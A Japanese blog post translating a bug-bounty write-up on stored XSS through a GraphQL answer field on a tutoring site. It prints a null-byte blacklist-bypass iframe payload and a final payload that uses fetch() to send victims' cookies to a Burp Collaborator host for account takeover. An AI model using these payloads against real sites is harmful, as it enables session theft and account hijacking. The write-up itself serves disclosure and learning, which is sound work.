Shikata Ga Nai

Private? There is no such things.

Pwning your assignments: Stored XSS via GraphQL endpointを訳してみた

Hello there, ('ω')ノ

 

割り当ての作成:GraphQLエンドポイントを介して保存されたXSSを。

脆弱性:

 保存されたXSS

 GraphQLのバグ

 

記事:

 https://infosecwriteups.com/pwning-your-assignments-stored-xss-via-graphql-endpoint-6dd36c8a19d5

 

 

大学の友人と話をした個別指導機能には、直接アクセスできなかったので。

その特定の機能を調べてみると、次のことがわかって。

 アカウント登録が必要で。

 私が学生を助けるテストに合格することが必要で。

 政府のID証明を提出してから確認まで2週間待つ必要があって。

 

なので、この機能にアクセスするのはかなり難しいと思い。

多くの人はおそらくアプリケーションにそれほど深くかかわろうとしなかったかと。

よって、コンピュータサイエンスの個別指導に申し込み、テストに合格すると。

学生の宿題を手伝うオプションがあって。

 

ここで確認することにしたバグの種類は、CSRF、IDOR、XSSで。

CSRFは、すべてのリクエストに多数のチェックが存在するので失敗して。

IDORは、UUIDv4が適切に使用されているため実用的ではなくて。

そこでXSSを。

 

学生の質問に答えていると、“、>は許可されたものの。

script、iframe、alertなどのキーワードは答えからサニタイズされていて。

Web Application Hacker's Handbookを調べたところ。

「>」の前に%00(ヌルバイト)を追加しても。

サニタイズされないことがわかったので。

下記のペイロードを作成して。

 <iframe %00 src=\"javascript:prompt(1)\"%00>

 

ブラックリストをバイパスするには%00を。

そして、GraphQL入力フィールド内に\”の二重引用符を渡すと。

上記のペイロードは、下記のようソースコードに反映されて。

 

f:id:ThisIsOne:20210812160225p:plain

 

prompt()で、クッキーを受け取ることができて。

 

f:id:ThisIsOne:20210812160120p:plain

 

攻撃シナリオ/最終的なエクスプロイト:

 学生が質問を投げかけると。

 ⇩

 インストラクターはブラインドXSSペイロードで回答を送信して。

 ⇩

 生徒が答えを確認するとすぐに、彼のクッキーがインストラクターに渡されて。

 

したがって、インストラクターが学生を支援するたびに。

学生のアカウントを引き継ぐことができるわけで。

 

ペイロード:

 <iframe %00 src= javascript:fetch(\"//XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net/?param=\"+document.cookie) %00>

 

fetch()を使用すると、XMLHttpRequest(XHR)と同様の。

ネットワークリクエストを作成でて。

/?param=は、ドメインの一部にならないように追加されて。

すぐに学生の質問に答えて。

ソリューションの最後に上記のペイロードを追加すると。

生徒は、答えと出来上がりを確認したので。

生徒のクッキーを取得できて。

f:id:ThisIsOne:20210812160010p:plain

 

Best regards, (^^ゞ